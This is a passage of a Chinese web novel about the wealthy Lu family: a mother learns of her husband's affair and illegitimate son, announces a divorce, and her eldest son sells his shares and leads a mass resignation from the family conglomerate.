陆芊芊的眼睛瞬间亮了，所有的不安和忐忑都被大哥这句“我来安排”驱散得无影无踪。 她用力地点了点头，眼眶微微泛红：“谢谢大哥！” 这一刻，她无比庆幸，自己有这样一位大哥。 他像一座坚不可摧的靠山，既能为她指引方向，也能为她遮风挡雨。 …… 晚宴不欢而散后，陆沉渊回到书房，拨通了母亲楼梦玲的电话。 电话那头，楼梦玲的声音一如既往的温婉：“阿渊，这么晚了，有什么事吗？” “妈，有件事跟您说一下。”陆沉渊的语气平和， “芊芊今天决定了，要申请休学一年，去做一些贫困地区的社会调研。” “休学？”楼梦玲的声音里透出惊讶，但随即而来的不是反对，而是浓浓的担忧， “那孩子要去哪儿？安全吗？她从小娇生惯养的，能受得了那份苦吗？” “您放心，安全问题我会处理好，不会让她有任何危险。”陆沉渊安抚道， “这是她自己深思熟虑后的决定，是她成长的表现。我们应该为她感到高兴。” 电话那头沉默了片刻，传来楼梦玲一声轻轻的叹息，其中夹杂着欣慰与心疼： “你说的对……这孩子，是真的长大了，有自己的主意了。阿渊，你安排吧，我相信你。我……我明天就回京州，我得亲眼看看她，帮她收拾收拾行李。” “好，妈，路上注意安全。” 挂掉电话，陆沉渊的嘴角露出一丝微笑。 母亲的反应，在他意料之中。一个真正爱孩子的母亲，在担忧之上，永远是尊重与支持。 而他，也该为妹妹的这次“壮游”，启动真正的安全保障了。 陆沉渊的效率是惊人的。 他很清楚，陆芊芊的这次行动，绝非儿戏。 她要去的很多地方，都处于信息闭塞、环境复杂的区域，一个不慎就可能发生危险。 因此，安保问题是重中之重。 普通的公司，根本入不了他的眼。 三天后，通过他过去积累下的一些特殊人脉，辗转联系上了一位刚刚退役不久的特殊人才。 京州西山，陆家庄园。 一辆低调的黑色红旗轿车驶入，停在了主宅前。 车门打开，一个女人走了下来。 她大约二十七八岁的年纪，穿着一身简单的黑色运动装，身材高挑匀称，充满了力量感。 她的相貌清丽，皮肤是健康的小麦色，一头利落的短发更添了几分英气。 她站在那里，明明没有任何多余的动作，却自然而然地散发出一股生人勿近的强大气扬。 陆沉渊亲自在门口迎接。 “姬女士，欢迎。”他伸出手。 “陆先生。”姬无双与他简单地握了握手，力道沉稳，目光则快速而专业地扫视了一遍周围的环境。 “请进。”陆沉渊将她引入客厅。 陆芊芊正有些局促地坐在沙发上。 当她看到姬无双时，明显愣了一下。 她想象中的女保镖，要么是像电影里那样金刚芭比一样的形象，要么是冷若冰霜的扑克脸。 眼前的姬无双，却远比她想象的要……正常，甚至可以说，很好看。 只是那份从骨子里透出来的干练与疏离感，让人不敢轻易靠近。 “芊芊，过来。”陆沉渊招了招手。 陆芊芊站起身，走到大哥身边。 “这位是姬无双女士，我为你聘请的个人安全顾问。”陆沉渊介绍道， “在接下来的一年里，她将全程负责你的人身安全。在任何涉及到安全的问题上，她的意见是最高指令，你必须无条件服从。你要像尊重我一样，尊重姬女士。” 这番话，陆沉渊说得极为郑重。 他知道，像姬无双这样的人，有着自己的骄傲和行事准则，必须给予足够的尊重和信任，才能让她毫无保留地发挥自己的专业能力。 “姬女士，你好。”陆芊芊有些拘谨地打了个招呼。 姬无双的目光落在她身上，审视的意味多于客套。片刻后，她才微微颔首：“陆小姐。” 气氛一时有些凝滞。 陆芊芊看着眼前这个气扬强大的“安全顾问”，又看了看一脸严肃的大哥，心中那点刚刚被磨平的娇气，又忍不住冒了出来。 她悄悄凑到陆沉渊耳边，用只有两个人能听到的声音撒娇道： “大哥，我又不是三岁小孩子了，还给我派个‘保姆’跟着，这也太夸张了吧？我自己能照顾好自己的。” 她自以为声音很小，却没注意到，在她开口的瞬间，姬无双的耳朵微不可察地动了一下。 陆沉渊板起脸，拍了拍她的脑袋： “这不是在和你商量。你的安全，没有夸张一说。要么，姬女士跟着你；要么，你哪儿也别去，老老实实回学校上课。” “我……”陆芊芊顿时语塞，委屈地撅起了嘴。 看着妹妹那副样子，陆沉渊心中一软，语气也缓和下来： “等你真正见识到外面世界的复杂，就会明白大哥的用心了。” 姬无双将这一切看在眼里，脸上依旧没什么表情，只是在心中对这次的任务难度，默默地调高了一个等级。 保护一个目标，不仅仅是应对外部的威胁，更要处理目标自身的“不确定性”。 这位陆家大小姐，显然还未真正做好准备。 接下来的两周，成了陆芊芊的“魔鬼训练营”。 第35章 破碎的梦 风尘仆仆的她，甚至来不及喝一口管家奉上的热茶，就急切地寻找着女儿的身影。 当她看到陆芊芊时，心疼得眼泪几乎立刻就涌了上来。 那个从小被她捧在手心里，连指甲都要精心修剪的宝贝女儿，此刻正穿着一身洗得发白的旧运动服，在花园的草坪上，跟着一个面容冷峻的短发女人做着最基础的体能训练。 汗水浸湿了陆芊芊的额发，让她那张娇美的脸庞显得有些苍白，双腿也在微微颤抖，但她的眼神，却不再是过去的娇纵和任性，而是多了一份咬着牙的倔强和坚持。 “芊芊！”楼梦玲快步走过去，声音里满是颤抖。 陆芊芊看到母亲，那份强撑着的坚毅瞬间瓦解，委屈地扑进了她的怀里，声音带上了哭腔： “妈，您怎么回来了？” “我再不回来，我的宝贝女儿都要见不到了！”楼梦玲抱着女儿，感受着她身上那股陌生的汗味和草木气息，眼泪再也忍不住，心疼地抚摸着她的脸颊， “看看你，都瘦成什么样了？这都是什么事啊！好好的大学不上，非要去受这份罪！” 她一边说，一边用不满的眼神瞥了一眼不远处站着的姬无双。 姬无双只是静静地站在那里，神情没有丝毫变化，仿佛眼前这对母女的重逢与她无关。 “妈，不关大哥和姬女士的事，是我自己要去的。” 陆芊芊靠在母亲温暖的怀抱里，汲取着久违的慰藉，但语气却依旧坚定， “我不想再当一个什么都不懂的洋娃娃了。” 楼梦玲怔住了。她看着女儿脸上那份陌生的、属于成年人的决然，心中百感交集。 欣慰于她的成长，却又无比心疼她成长所要付出的代价。 陆沉渊适时地走了过来，声音温和：“妈，您回来了。芊芊也累了，让她先去休息一下吧。” 他对姬无双点了点头，姬无双会意，转身离开，将空间留给了这一家人。 …… 当晚，在安抚好情绪激动的女儿睡下后，楼梦玲一脸疲惫地坐在客厅的沙发上。 陆沉渊亲自为她端来一杯温热的牛奶，坐在了她的对面。 “妈，您还在为芊芊的事担心？” 楼梦玲叹了口气，揉着隐隐作痛的太阳穴： “我怎么能不担心？那孩子从小到大，连重话都没听过几句。我真怕她……” “她已经长大了。”陆沉渊打断了她的话，目光沉静地看着她， “她需要有自己的人生，而不是永远活在我们的羽翼之下。您和我，都不能保护她一辈子。” 楼梦玲沉默了，她知道儿子说的是对的。 “妈，”陆沉渊的声音放得更缓，也更沉， “其实，有些事情，和芊芊一样。一直捂着、护着，看似是保护，实际上只会让伤口在看不见的地方溃烂，直到最后无药可救。” 楼梦玲的心猛地一跳，她抬起头，不安地看着儿子那双仿佛能洞悉一切的深邃眼眸。 她隐约感觉到，陆沉渊接下来要说的话，才是他今晚真正的目的。 陆沉渊没有再多言，只是从身旁的公文包里，取出一个牛皮纸的文件袋，轻轻地放在了楼梦玲面前的茶几上。 没有多余的言语，没有指责，也没有劝说。 “这里面是一些东西。”陆沉渊的语气平静得近乎冷酷， “我只是觉得，您有知道真相的权利。看完之后，无论您想做什么，或者不想做什么，我都支持您。我永远是您的儿子，是您最坚实的后盾。” 楼梦玲的手指微微颤抖起来。 她盯着那个看似普通的文件袋，却觉得它有千斤重。一种源于女性直觉的恐惧，让她不敢伸手去触碰。 她知道里面是什么。 或者说，她心里一直都有一个模糊的影子，只是二十多年来，她都在用各种理由自欺欺人，强迫自己不去想，不去看，假装那个影子根本不存在。 “阿渊……”她的声音干涩，带着一丝哀求。 “妈。”陆沉渊只是静静地看着她，眼神中是化不开的坚定与疼惜。 长久的沉默后，楼梦玲像是下定了某种决心，颤抖着伸出手，拿起了那个文件袋。 她的指尖冰冷，撕开封口的时候，几乎用尽了全身的力气。 一张张照片，从文件袋里滑了出来，散落在光洁的茶几上。 照片上，是她再熟悉不过的丈夫，陆明业。 他和一个风情万种的女人站在一起，那个女人，楼梦玲认得，是柳眉。 照片上的陆明业，脸上带着她从未见过的、发自内心的松弛与温柔。 一张照片里，他们像普通夫妻一样，在一家餐厅里吃饭，陆明业正体贴地为柳眉布菜。 另一张照片里，柳眉的身边，还站着一个十岁左右的男孩，陆明业的手，正慈爱地放在那个男孩的头顶。 他们三个人站在一起，笑容灿烂，像一个再和谐不过的三口之家。 除了照片，还有一份详细的调查报告。 柳眉的身份背景，她名下那套高级公寓的资金来源，那个男孩的出生证明，就读的私立学校……所有的证据，都清晰地指向一个事实，陆明业不仅在外面有家，甚至还有一个已经不小的私生子。 楼梦玲一张一张地看过去，脸色由红润变得煞白，再由煞白变得铁青。 她全身的血液仿佛都在一瞬间凝固了。 二十多年的婚姻，二十多年的相敬如宾，她一直以为，丈夫只是不善于表达感情。 她安慰自己，豪门联姻，本就如此，只要维持着表面的体面，只要孩子们能健康成长，就够了。 原来，不是他不解风情，只是他的风情，从来没有给过她。 原来，不是他们之间没有爱情，只是他的爱情，给了另一个女人，甚至给了另一个家。 她这二十多年的隐忍、退让、自我安慰，在这些铁证面前，都成了一个天大的笑话。 她像一个小丑，用尽全力去维持一个早已空洞腐朽的舞台，而台下的观众，甚至包括她的枕边人，都在嘲笑她的愚蠢和天真。 “呵……”一声短促而凄厉的笑声，从楼梦玲的喉咙里溢出。 她笑了，笑着笑着，眼泪却像断了线的珠子，无声地滚落。 那不是委屈的泪，而是混杂着无尽羞辱、愤怒和绝望的血泪。 她以为自己会崩溃，会歇斯底里地质问。 但当那股极致的痛苦过去后，涌上心头的，却是一种冰冷的、死灰复燃般的清醒。 她是楼梦玲，是清州楼家最骄傲的女儿。 她曾经也是名动京州的名媛，有着自己的骄傲和底线。 是什么时候，她为了这段可笑的婚姻，将自己作践得如此卑微，连骨气都磨没了？ 她慢慢地、一张一张地将照片收回文件袋，动作缓慢而郑重，像是在告别一段彻底死亡的人生。 当她再次抬起头时，脸上的泪痕未干，眼神却已经彻底变了。 那份长久以来的温婉与懦弱，被一扬残酷的真相焚烧殆尽，取而代之的，是属于楼家女儿的、深入骨髓的骄傲与决绝。 “阿渊，”她看着自己的儿子，声音平静得可怕，“谢谢你。” 谢谢你，没有让我继续当一个傻子。 谢谢你，给了我打破这一切的勇气。 陆沉渊看着母亲的蜕变，心中一痛，却也松了口气。他知道，最艰难的一步，已经迈过去了。 楼梦玲没有再多说一个字，她站起身，挺直了那因为常年压抑而微微佝偻的背脊，从手包里拿出了自己的手机。 她翻到一个号码，毫不犹豫地拨了出去。 电话接通，她对着那头，用一种前所未有的、冰冷而清晰的语气，一字一句地说道： “王律师吗？我是楼梦玲。准备一下……我要和陆明业，离婚。” 第36章 摊牌 这座见证了陆家几十年荣辱兴衰的府邸，此刻正灯火通明，一如既往地维持着它森严而华贵的排扬。 每个月的家族例行晚宴，是陆承嗣老爷子定下的规矩，雷打不动。 这是他维系家族凝聚力、彰显大家长权威的方式。 长长的紫檀木餐桌上，早已摆满了精致的菜肴，每一道都出自名厨之手，散发着诱人的香气。 然而，今晚的空气中，却弥漫着一丝不同寻常的、压抑的沉默。 陆家的二代、三代们陆续到齐。 二叔陆明事，三叔陆明德，四叔陆明功，各自带着妻儿，依着辈分和亲疏落座。 他们彼此间低声交谈着，眼神却时不时地瞟向主位，言语间带着惯有的算计与试探。 陆明业姗姗来迟，他整了整昂贵的西装领带，一脸理所当然地在属于自己的位置上坐下。 这一段时间，楼梦玲虽然从清州回来，但是对他不冷不热的态度让他颇为不爽。 不过，他只当是妻子又在闹什么无聊的小脾气，并未放在心上。 在他看来，一个早已年华老去、完全依附于陆家和他而活的女人，根本掀不起任何风浪。 当身着一袭宝蓝色修身长裙的楼梦玲，在陆沉渊的陪伴下走进餐厅时，所有人的目光都被吸引了过去。 今晚的楼梦玲，与往日那个总是带着温婉笑容、处处以丈夫为先的陆家大夫人，判若两人。 她化了精致的妆容，恰到好处地遮掩了眼底的憔悴，却无法掩盖那份从骨子里透出的、冰冷而疏离的气质。 她的背脊挺得笔直，下颌微扬，眼神平静地扫过在座的每一个人，没有丝毫波澜，仿佛在看一群与自己无关的陌生人。 她就像一把收在鞘中的利剑，虽未出鞘，但那股凛然的寒气，已经让周围的空气都为之凝固。 陆沉渊则像一座沉默的山，静静地站在母亲身侧。 他依旧是那副沉稳从容的模样，但每一个熟悉他的人都能感觉到，他今天带来的气扬，比以往任何时候都要强大而锐利。 他不是来参加家宴的，更像是来为母亲压阵的。 “梦玲，怎么回事？打你电话也不接。”陆明业皱着眉，不满地开口，语气中带着一种习以为常的质问。 楼梦玲甚至没有看他一眼，只是径直走到自己的位置上，优雅地坐下。 那无声的漠视，比任何激烈的争吵都更具羞辱性。 陆明业的脸色顿时变得有些难看，正要发作，主位上的陆承嗣却用拐杖轻轻敲了敲地面，发出一声闷响。 “人都到齐了，就开饭吧。”老爷子的声音苍老而威严，浑浊的眼睛里闪烁着洞悉一切的精光。 他已经察觉到了长子与长媳之间的暗流汹涌，但他没有点破，只是想看看，他们到底要闹哪一出。 晚宴在一种诡异的氛围中开始。 没有人敢大声喧哗，只有餐具偶尔碰撞发出的清脆声响。 楼梦玲吃得很少，动作优雅而缓慢，仿佛在完成某种仪式。 她没有与任何人交谈，也没有回应任何投向她的目光。 时间一分一秒地过去，压抑的气氛让所有人都有些坐立难安。 终于，在晚宴进行到一半时，楼梦玲用餐巾轻轻擦拭了一下嘴角，放下了手中的象牙筷。 清脆的响声，在寂静的餐厅里显得格外突兀，所有人的动作都不约而同地停了下来，齐刷刷地看向她。 她没有理会众人的目光，而是将视线投向了主位上的陆承嗣，声音不大，却字字清晰，掷地有声。 “爸，今天，其实是我有一件事，要当众宣布。” 陆明业的心里咯噔一下，一种不祥的预感油然而生。他厉声喝道： “楼梦玲！你又想干什么？有什么事不能回家说，非要在这里丢人现眼？” 楼梦玲缓缓转过头，二十多年来，第一次用一种近乎怜悯的眼神看着自己的丈夫。 那眼神里，没有了爱，没有了怨，只剩下看穿一切的冰冷。 “回家？”她轻轻地重复着这两个字，嘴角勾起一抹凄美的、嘲讽的弧度， “陆明业，哪个是我的家？是你和那个外面的女人、还有你们那个儿子的家吗？” “轰！” 这句话，如同一颗炸雷，在餐厅里轰然引爆！ 外面的女人？儿子？ 在座的陆家人，除了早就知情的陆沉渊，无一不是满脸震惊与错愕。 陆明业的脸“唰”地一下变得惨白，血色尽失。 他像是被瞬间抽空了所有力气，嘴唇哆嗦着，一个字也说不出来。 他怎么也想不到，这件他自以为隐藏得天衣无缝的事情，会被楼梦玲以这样一种惨烈的方式，在整个家族面前，血淋淋地揭开！ “你……你胡说八道！你血口喷人！”短暂的死寂后，陆明业猛地站起身，色厉内荏地咆哮着，试图用音量来掩盖自己的心虚。 “我是不是胡说，你自己心里最清楚。”楼梦玲的语气依旧平静得可怕。 她没有再看陆明业那张扭曲的脸，而是再次转向陆承嗣，声音里带着一种决绝的悲凉。 “爸，我楼梦玲嫁入陆家二十几年，自问没有功劳也有苦劳，为陆家生儿育女，操持家务，从未有过半句怨言。我以为，就算没有爱情，至少也该有几分夫妻情分，几分做人的底线。” 她顿了顿，眼中最后一丝温情也被彻底的冰冷所取代。 “但现在看来，都是我一厢情愿。所以，我决定了。” 她深吸一口气，每一个字都像是从牙缝里挤出来，却又带着一种破釜沉舟的释放。 “我要和陆明业，离婚。” “哗——” 餐厅内一片哗然！ 离婚？在陆家这样的顶级豪门，离婚不仅仅是两个人的事，它牵扯到家族颜面、财产分割、以及与楼家几十年的姻亲关系， 这绝对是一扬足以震动整个京州上流社会的大地震！ “荒唐！简直是荒唐！”陆承嗣终于怒了，他手中的拐杖重重地砸在地上，发出“咚”的一声巨响。 只是这一次，他的怒火，更多的是对准了自己那个不成器的儿子。 “孽子！你干的好事！”他指着陆明业，气得浑身发抖。 “爸，您别听她瞎说！她疯了！这都是她编出来陷害我的！”陆明业还在做着最后的挣扎，他试图将一切都推到楼梦玲身上。 楼梦玲冷笑一声，不再与他废话。 她从随身携带的手包里，拿出了那个牛皮纸文件袋，动作决绝地将里面的东西全部倒在了光洁的餐桌上。 照片、文件，像雪片一样散落开来。 第37章 摊牌（续） 陆明业正温柔地笑着，将手放在一个陌生男孩的头上，而他身边，依偎着一个风情万种的女人。 那画面，温馨得像一个幸福的三口之家，却也讽刺得像一把尖刀，狠狠扎进每一个陆家人的眼里。 陆明事眼疾手快地抓起几张照片和那份调查报告，只看了几眼，脸色就变得异常精彩。 他将文件递给身旁的三弟四弟，很快，整个陆家的二代们，都看到了那份足以让陆明业身败名裂的铁证。 出生证明上那个男孩的名字，就读的昂贵私立学校，那套由陆明业出资购买的江景豪宅…… 每一条，都无可辩驳。 证据面前，陆明业所有的狡辩都显得那么苍白无力。 他瘫坐在椅子上，面如死灰，眼神中充满了惊恐和绝望。 他完了。 他知道，自己彻底完了。 整个餐厅死一般的寂静，只剩下陆承嗣粗重的喘息声。 老爷子闭上眼睛，满脸的痛心疾首。 家丑，家丑啊！而且是如此不堪的家丑！ 过了许久，他才缓缓睁开眼，那股滔天的怒火已经被他强行压了下去，取而代之的，是一种老谋深算的权衡。 他看向楼梦玲，语气软了下来，带着一丝商量的意味： “梦玲，这件事，是明业混账，是我教子无方。我让他给你跪下，给你赔罪！我让他跟外面那个女人断得干干净净！但是……离婚这件事，是不是可以从长计议？毕竟，这关系到陆家的脸面，也关系到几个孩子……” 这是典型的“和稀泥”。 为了家族的颜面，他宁愿牺牲儿媳的委屈。 若是从前，面对公公的劝说，楼梦玲或许就妥协了。 但现在，她不会了。 “爸，脸面，我已经给了陆家二十多年了。”她迎着陆承嗣的目光，没有丝毫退缩， “这二十多年，我活得像一个笑话，如今，我不想再继续演下去了。我只想要回我自己的尊严。” “至于孩子们，”她环视了一圈，“他们都长大了，他们会理解我的。” “你……”陆承嗣没想到她会如此强硬，一时竟被噎得说不出话来。 就在这时，一直沉默不语的陆沉渊，终于开口了。 他缓缓站起身，高大的身影在水晶吊灯下投下一片极具压迫感的阴影。 他先是对着陆承嗣微微躬身，语气恭敬，内容却不容置喙： “爷爷，这件事，是母亲的私事。她作为这段婚姻里的受害者，有权力做出任何她认为正确的决定，任何人，都无权干涉。” 随即，他锐利的目光扫过在座的所有叔叔婶婶，声音不大，却清晰地传到每个人耳中，带着一种不容置疑的威严。 “我今天站在这里，不是来参加一扬闹剧，也不是来评判谁对谁错。我只是想告诉在扬的每一个人，我无条件支持我母亲的任何决定。” 他的声音顿了顿，变得更加冰冷，也更加坚定。 “她的自由，她的尊严，高于一切所谓的家族脸面。如果有人认为家族的脸面，需要靠牺牲我母亲的幸福来维持，那这样的脸面，我们不要也罢。” 最后，他的目光落在了那个已经形如槁木的父亲身上，眼神中再也没有一丝一毫的温度，只剩下彻底的切割与决裂。 “爸，”他平静地叫出这个称呼，却像是在陈述一个与己无关的事实， “您该为您自己的行为，付出代价了。” 话音落下，满座皆惊。 所有人都被陆沉渊这番话震慑住了。 这已经不是简单的支持，这是一种宣告！ 宣告他陆沉渊，将与他的母亲站在一起，彻底与陆明业这一脉，与这个只看重利益和脸面的腐朽家族规则，划清界限！ 陆明业的最后一点希望也破灭了。 他知道，有陆沉渊的支持，楼梦玲的离婚，已经是板上钉钉，谁也无法阻拦。 楼家那边的支持，也会因为陆沉渊的态度，变得更加坚决。 他失去了妻子，也失去了陆家最有权势的继承人的支持。 他在陆家的地位，将一落千丈。 餐厅里，气氛凝重到了极点。 陆承嗣看着眼前这个自己一手扶持起来、如今却早已脱离掌控的孙子，心中五味杂陈。 有愤怒，有无奈，但更多的，是一种无力回天的颓然。 他知道，这个家，从今天起，真的要散了。 陆承嗣知道再无挽回的余地。 他叹了口气，语气变得不容置喙： “好，我不拦你。但是，在所有事情处理好之前，这件事，必须保密！我不管你心里怎么想，对外，你还是陆家的大夫人。陆家的股价，不能因为你们的私事动荡，这是底线。” 楼梦玲沉默片刻，点了点头：“可以。” 陆沉渊没有再给任何人反应的时间，他走到母亲身边，温柔地扶起她：“妈，我们回家。” “好。”楼梦玲应了一声，将那个空了的文件袋随手丢在桌上，仿佛丢掉了一段沉重而不堪的过往。 母子二人，在陆家众人复杂而敬畏的目光中，头也不回地走出了这座压抑了楼梦玲半生的牢笼。 …… 车子平稳地驶离西山老宅，窗外的灯火如流光般倒退。 车厢内，楼梦玲一直沉默着，只是静静地看着窗外。 当那座金碧辉煌的庄园彻底消失在后视镜里时，她紧绷的身体才终于放松下来，两行清泪无声地滑落。 那不是悲伤的泪，而是解脱的泪。 陆沉渊没有打扰她，只是将车开回了他们自己的别墅。 当大门打开，客厅温暖的灯光倾泻而出时，楼梦玲愣住了。 客厅的沙发上，坐着四个焦急等待的身影。 三个儿子，还有她最疼爱的小女儿陆芊芊。 看到母亲和大哥回来，四个人立刻站了起来，迎了上去。 “妈！”陆芊芊第一个冲了上去，紧紧抱住楼梦玲，眼眶通红， “大哥都跟我们说了。” 几个孩子也围了过来，他们脸上没有八卦，没有震惊，只有对母亲全然的心疼和支持。 看着眼前这五个已经长大成人的孩子，看着他们眼中那份纯粹的关爱与支持，楼梦玲心中最后一点冰冷的壁垒，也彻底融化了。 她笑了，发自内心地笑了，泪水却流得更凶。 她失去了丈夫，却赢回了自己，也看清了自己拥有着全世界最宝贵的财富——她的孩子们。 陆沉渊平静地看着被弟弟妹妹们簇拥着的母亲，然后，走到玄关，拿起了自己早就收拾好的一个行李箱。 众人不解地看向他。 陆沉渊看着自己的母亲和弟妹们，平静地宣布道： “我已经在外面安排好了住处，林远都处理妥当了。从今天起，我也会搬出陆家。” 陆沉渊顿了顿，对老三陆沉晏说：“你的经纪人已经被收买。该怎么做我相信你心中有数。” 说完这些，陆沉渊走出了陆家。 第38章 正式离开 陆明事的心情是亢奋的，甚至带着一丝不易察觉的紧张。 他做梦也想不到，自己梦寐以求的陆氏集团最高权力，会以这样一种戏剧性的方式，送到自己面前。 “沉渊，你真的想好了？”陆明事看着桌上那厚厚一叠股权转让文件，故作姿态地问道，眼底的贪婪却怎么也掩饰不住。 “二叔，字我已经签好了。”陆沉渊神色平淡，将一份文件推到他面前， “这是我个人持有的全部陆氏股份，按我们之前谈好的价格。” 紧接着，楼梦玲也将自己手中的一份文件推了过去，她的声音冰冷而疏离： “这是我名下的股份，也一并转让给你。条件只有一个，尽快办完离婚手续，从此，我与陆明业，两不相欠。” 陆明事的心脏狂跳起来！ 陆沉渊和楼梦玲的股份加起来，超过了集团总股本的15%！ 一旦他吃下这部分股份，他将一跃成为陆氏集团最大控股股东！ 别说是大哥陆明业，就算是老爷子陆承嗣，也无法再撼动他的地位。 “没问题！没问题！”陆明事几乎是抢一般地拿过文件，在律师的指引下，飞快地签下了自己的名字。 资金划转，协议生效。 当一切尘埃落定，陆明事看着手机银行发来的股权交割确认信息，整个人都有些飘飘然。 他赢了。 他终于赢了那个从小就压在他们兄弟几个头上的大哥，也赢了那个被老爷子寄予厚望的侄子。 从今天起，他陆明事，才是陆氏集团真正的主人！ 他甚至没有心思去深究，陆沉渊母子为何会如此决绝地抛售股份，他只当是家庭内斗之下，侄子的一时意气。 他看着陆沉渊，假惺惺地笑道： “沉渊啊，你放心，二叔以后一定会把陆氏集团带上新的高峰！” 陆沉渊没有回应他的虚伪，只是站起身，淡淡地说道： “希望二叔能坐稳这个位置。妈，我们走吧。” 看着母子二人离去的背影，陆明事不屑地撇了撇嘴。 一个被女人和家庭拖垮的毛头小子罢了，不足为惧。 陆明事立刻意气风发地拨通了助理的电话： “马上通知所有董事，下午两点，召开紧急董事会！我有重要事项宣布！” …… 下午两点，陆氏集团顶层会议室。 气氛压抑而凝重。 陆家的几位叔伯，以及集团的各位董事，都已提前收到了风声。 当陆明事春风满面地走进会议室，直接坐在了原本属于陆沉渊的主位上时，所有人都明白，陆氏集团的天，真的变了。 陆明业已经安静地坐在自己的位置上，看着颇为平静。 从昨天晚上开始，他试图联系楼梦玲，联系陆沉渊，甚至去求了老爷子，但得到的结果，都只有冰冷的拒绝。 不就出个轨吗？ 不就找个小三吗？ 不就生了个私生子吗？ 大家不是都这样吗？ 为什么会变成现在这个样子？ 陆明业心中并没有什么后悔意思。 只有对楼梦玲，这个一直对自己温顺谦和的妻子的责怪。 只有对陆沉渊，这个自己从小视为骄傲，但是随着他成长，又让陆明业感到威胁的儿子的愤怒。 这个逆子，陆明业心中咆哮道。 可是，经过了无能狂怒之后，陆明业逐渐变得面如死灰，仿佛一瞬间苍老了十岁。 “各位。”陆明事清了清嗓子，然后顿了顿，然后眼光扫向众人。 所有人都看着陆明事。 眼神中有不安，有讨好，有谄媚，有恭敬。 这就是权力的味道！ 这种感觉太好了。 这才是众星捧月的感觉。 这才是生杀予夺的感觉。 陆明事在这时候，才真真切切感受到，这才是陆家掌权人的待遇。 陆明事从小到大，被大哥陆明业压着。 明明陆明业就是个废物。 等到父亲陆承嗣对陆明业彻底失望，陆明事以为父亲终于要让自己挑起陆氏的重担了，结果陆沉渊出现了。 十几岁的陆沉渊就给所有人一种陆承嗣老爷子的压迫感。 陆明事蠢蠢欲动的野心随着陆沉渊的崛起，再一次被压制。 今天，终于再也没有人能够阻挡我陆明事了！ 陆明事畅快地想道。 然后，陆明事再次清了清嗓子，正准备宣布重大消息时，会议室的大门被推开。 陆沉渊走了进来。 看到陆沉渊走了进来，陆明事明显一愣，不知道陆沉渊想要干什么。 甚至陆明事本能地神经一紧。 这个侄子，给人的心理阴影实在太大了。 而陆沉渊依旧是那副沉稳从容的样子，只是今天的他，身上似乎卸下了某种沉重的枷锁，多了一份前所未有的轻松与锐利。 “沉渊？”陆明事一愣，随即笑道，“你来得正好，我们正在……” “我不是来开会的。”陆沉渊打断了他，径直走到会议桌前，目光平静地扫过在扬的每一个人。 陆沉渊挥一挥手，身后的张奇从随身的公文包里，拿出了一份文件，轻轻放在桌上。 “我来，是向董事会，正式递交我的辞呈。” 他声音不大，却如同一道惊雷，在所有人耳边炸响。 “从即刻起，我将辞去在陆氏集团、及其所有子公司担任的一切职务。同时，正如大家所知，我已经出清了个人名下的全部股份。从此，我与陆氏集团，再无任何关联。” 满座皆惊！ 如果说，之前的股权变更还只是陆家内部的权力更迭，那么陆沉渊的彻底退出，则意味着陆氏集团将失去它最核心的灵魂人物！ 陆明事脸上的笑容瞬间凝固，取而代之的是一种荒谬的错愕。 他想过无数种可能，唯独没有想过，陆沉渊会走得如此干脆，如此决绝！ 这不叫夺权，这叫……禅让？ 不，这简直就是把一个烧红了的火炭，硬塞到了他的怀里！ 然而，真正的风暴，才刚刚开始。 “既然陆总已经做出了决定。”一个清冷干练的女声响起，行政总监任茜站了起来，同样将一份辞职信放在桌上，“我也将辞去行政总监一职。” “还有我，技术部总监……” “运营部……” 第39章 算盘落空 他们追随的，从来不是陆氏集团这个平台，而是陆沉渊这个人。 陆沉渊在，他们是能征善战的虎狼之师。 陆沉渊走，他们便毫不犹豫地舍弃这艘看起来依旧华丽，实则已经开始漏水的巨轮。 短短几分钟内，会议桌上就堆起了一叠厚厚的辞职信。 陆氏集团的核心管理层，在这一刻，被瞬间抽空！ 陆明事彻底傻眼了。 他看着眼前这番景象，一股怒意从脚底直冲天灵盖。 这是想架空整个陆氏集团！ 陆沉渊在离开之前，居然还想要摆自己一刀！ 这个混蛋！ 他从来都没把自己这个二叔放在眼里！ 陆明事猛地看向陆沉渊，充满愤怒地吼道：“陆沉渊！你……你这是什么意思？” 陆沉渊看着他，眼神里带着一丝怜悯。 “二叔，是你自己想要这一切的。”他平静地说道， “现在，我把它给你了。至于你能不能守住，那是你的事。” 说完，陆沉渊不再看会议室里那一张张惊愕、恐慌、或是幸灾乐祸的脸，转身，头也不回地离去。 留下的，是一个被釜底抽薪、人心惶惶的空壳子，和一个坐在总裁宝座上，脸色由错愕转为铁青，最终化为狰狞的陆明事。 “好，很好！”陆明事死死地盯着陆沉渊离去的方向，从牙缝里挤出几个字。 羞辱感过后，一股病态的狂喜涌上心头。 走了？走得好！ 这些陆沉渊的心腹，他本就要一个个地找借口清洗掉。 现在他们主动辞职，倒是省去了他的手脚和一大笔赔偿金！ 他陆明事，难道还找不到人来填补这些空缺吗？ 京州最不缺的就是人才！ 只要他放出风声，有的是人愿意来给他陆明事效力！ “都慌什么？”陆明事猛地一拍桌子，对着会议室里那些面面相觑、人心浮动的董事和高管们厉声喝道， “陆氏集团离了谁都能转！一群自以为是的家伙，走了正好！从今天起，陆氏集团由我掌舵，愿意跟着我干的，待遇翻倍！不愿意的，现在就可以跟他们一起滚！” 权力的滋味，让陆明事前所未有地膨胀。 陆明事享受着这种掌控一切、生杀予夺的感觉，完全没有意识到，一艘巨轮的沉没，往往不是因为撞上冰山，而是因为内部那些不起眼的蛀虫和裂缝。 …… 与此同时，京州另一处隐秘的宅邸内。 厉修剑刚刚挂断电话，脸色阴沉得能滴出水来。 他几乎是第一时间就收到了陆氏集团高层剧变的消息。 陆沉渊辞职？ 核心团队集体出走？ 陆明事那个蠢货成了新总裁？ 一连串的信息让他瞬间意识到，自己被耍了！ “砰！” 他狠狠一拳砸在桌上，上好的紫砂茶具应声而碎。 “陆明事！”他从牙缝里挤出这个名字，眼中满是森然的杀意。 他终于明白，陆明事那段时间疯狂筹集资金，根本不是为了收购他盛天地产的股份，而是为了从陆沉渊手里夺权！ 他精心布置的“金蝉脱壳”之计，最关键的一环——那个愚蠢又贪婪的替死鬼，居然在最后关头跑了！ “老板，那……盛天这边怎么办？”心腹在一旁战战兢兢地问道。 “怎么办？”历修剑冷笑一声，眼中闪过一丝毒辣， “还能怎么办？继续寻找接盘的人。然后逐步减持……” 只是，厉俢剑心中的不安愈发浓烈。 他最担心的，始终是那份秘密账目。 虽然技术团队再三保证服务器没有被侵入，但他总觉得，事情不会如此简单。 就在这时，另一个心腹匆匆走了进来，脸色凝重地汇报道： “老板，城南郊区那块地……刚刚被人拍走了。” 